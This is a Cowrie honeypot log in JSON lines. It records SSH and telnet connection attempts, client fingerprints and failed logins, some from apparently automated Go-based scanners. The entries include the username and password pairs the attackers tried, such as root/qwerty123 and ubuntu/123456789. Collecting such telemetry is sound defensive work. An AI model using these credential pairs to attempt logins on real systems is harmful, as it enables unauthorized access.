{"eventid":"cowrie.login.failed","username":"root","password":"qwerty123","message":"login attempt [root/qwerty123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:47:19.659850Z","src_ip":"176.65.132.129","session":"d16707f43c7c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:47:19.832958Z","src_ip":"101.32.240.31","session":"59fd50300a54","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.170.125","src_port":33638,"dst_ip":"10.17.0.5","dst_port":22,"session":"e3a83418ca0f","protocol":"ssh","message":"New connection: 103.149.170.125:33638 (10.17.0.5:22) [session: e3a83418ca0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:47:19.908842Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:47:19.916888Z","src_ip":"103.149.170.125","session":"e3a83418ca0f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:47:20.166795Z","src_ip":"103.149.170.125","session":"e3a83418ca0f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:47:20.774668Z","src_ip":"176.65.132.129","session":"d16707f43c7c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"orca","message":"login attempt [root/orca] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:47:20.849487Z","src_ip":"101.32.240.31","session":"59fd50300a54","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":61.6071617603302,"message":"Connection lost after 61 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:47:20.875370Z","src_ip":"152.42.224.71","session":"e5e9c85cf590","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"pass","message":"login attempt [root/pass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:47:20.916026Z","src_ip":"103.149.170.125","session":"e3a83418ca0f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:47:22.098888Z","src_ip":"101.32.240.31","session":"59fd50300a54","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:47:22.168097Z","src_ip":"103.149.170.125","session":"e3a83418ca0f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":38096,"dst_ip":"159.203.135.109","dst_port":22,"session":"9a0174434613","protocol":"ssh","message":"New connection: 176.65.132.129:38096 (159.203.135.109:22) [session: 9a0174434613]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:47:22.516379Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:47:22.521244Z","src_ip":"176.65.132.129","session":"9a0174434613","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00180554389954,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:47:22.592610Z","src_ip":"152.42.224.71","session":"4f8e375d85ad","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:47:22.603178Z","src_ip":"176.65.132.129","session":"9a0174434613","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qwerty","message":"login attempt [root/Qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:47:22.849394Z","src_ip":"176.65.132.129","session":"9a0174434613","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:47:23.934907Z","src_ip":"176.65.132.129","session":"9a0174434613","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":59884,"dst_ip":"159.203.135.109","dst_port":22,"session":"1d91ddbe181c","protocol":"ssh","message":"New connection: 176.65.132.129:59884 (159.203.135.109:22) [session: 1d91ddbe181c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:47:25.953786Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:47:25.958776Z","src_ip":"176.65.132.129","session":"1d91ddbe181c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:47:26.043032Z","src_ip":"176.65.132.129","session":"1d91ddbe181c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user2","password":"123456","message":"login attempt [user2/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:47:26.294150Z","src_ip":"176.65.132.129","session":"1d91ddbe181c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:47:27.381127Z","src_ip":"176.65.132.129","session":"1d91ddbe181c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":59896,"dst_ip":"159.203.135.109","dst_port":22,"session":"67180b6dc5df","protocol":"ssh","message":"New connection: 176.65.132.129:59896 (159.203.135.109:22) [session: 67180b6dc5df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:47:29.209080Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:47:29.213678Z","src_ip":"176.65.132.129","session":"67180b6dc5df","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:47:29.298288Z","src_ip":"176.65.132.129","session":"67180b6dc5df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":102.63203263282776,"message":"Connection lost after 102 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:47:29.407798Z","src_ip":"152.42.224.71","session":"c99a2af14de5","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"123","message":"login attempt [deploy/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:47:29.543841Z","src_ip":"176.65.132.129","session":"67180b6dc5df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:47:30.704759Z","src_ip":"176.65.132.129","session":"67180b6dc5df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.7123122215271,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:47:31.191332Z","src_ip":"152.42.224.71","session":"865aaa503594","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":59912,"dst_ip":"159.203.135.109","dst_port":22,"session":"3d2ce703777a","protocol":"ssh","message":"New connection: 176.65.132.129:59912 (159.203.135.109:22) [session: 3d2ce703777a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:47:32.491870Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:47:32.496010Z","src_ip":"176.65.132.129","session":"3d2ce703777a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:47:32.578371Z","src_ip":"176.65.132.129","session":"3d2ce703777a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fastuser","password":"123456","message":"login attempt [fastuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:47:32.829619Z","src_ip":"176.65.132.129","session":"3d2ce703777a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:47:33.919216Z","src_ip":"176.65.132.129","session":"3d2ce703777a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48782,"dst_ip":"10.17.0.5","dst_port":23,"session":"92e12fe6d4b6","protocol":"telnet","message":"New connection: 152.42.224.71:48782 (10.17.0.5:23) [session: 92e12fe6d4b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:47:34.211649Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":60474,"dst_ip":"159.203.135.109","dst_port":22,"session":"3af9b3c92daa","protocol":"ssh","message":"New connection: 176.65.132.129:60474 (159.203.135.109:22) [session: 3af9b3c92daa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:47:35.865861Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:47:35.871389Z","src_ip":"176.65.132.129","session":"3af9b3c92daa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:47:35.953991Z","src_ip":"176.65.132.129","session":"3af9b3c92daa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"uftp","password":"uftp","message":"login attempt [uftp/uftp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:47:36.202506Z","src_ip":"176.65.132.129","session":"3af9b3c92daa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:47:37.288473Z","src_ip":"176.65.132.129","session":"3af9b3c92daa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":60482,"dst_ip":"159.203.135.109","dst_port":22,"session":"3ee30a46f3be","protocol":"ssh","message":"New connection: 176.65.132.129:60482 (159.203.135.109:22) [session: 3ee30a46f3be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:47:39.100651Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:47:39.105910Z","src_ip":"176.65.132.129","session":"3ee30a46f3be","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:47:39.189032Z","src_ip":"176.65.132.129","session":"3ee30a46f3be","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123456789","message":"login attempt [ubuntu/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:47:39.437165Z","src_ip":"176.65.132.129","session":"3ee30a46f3be","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59628,"dst_ip":"10.17.0.5","dst_port":23,"session":"3040bbdb0f89","protocol":"telnet","message":"New connection: 152.42.224.71:59628 (10.17.0.5:23) [session: 3040bbdb0f89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:47:39.825892Z"}
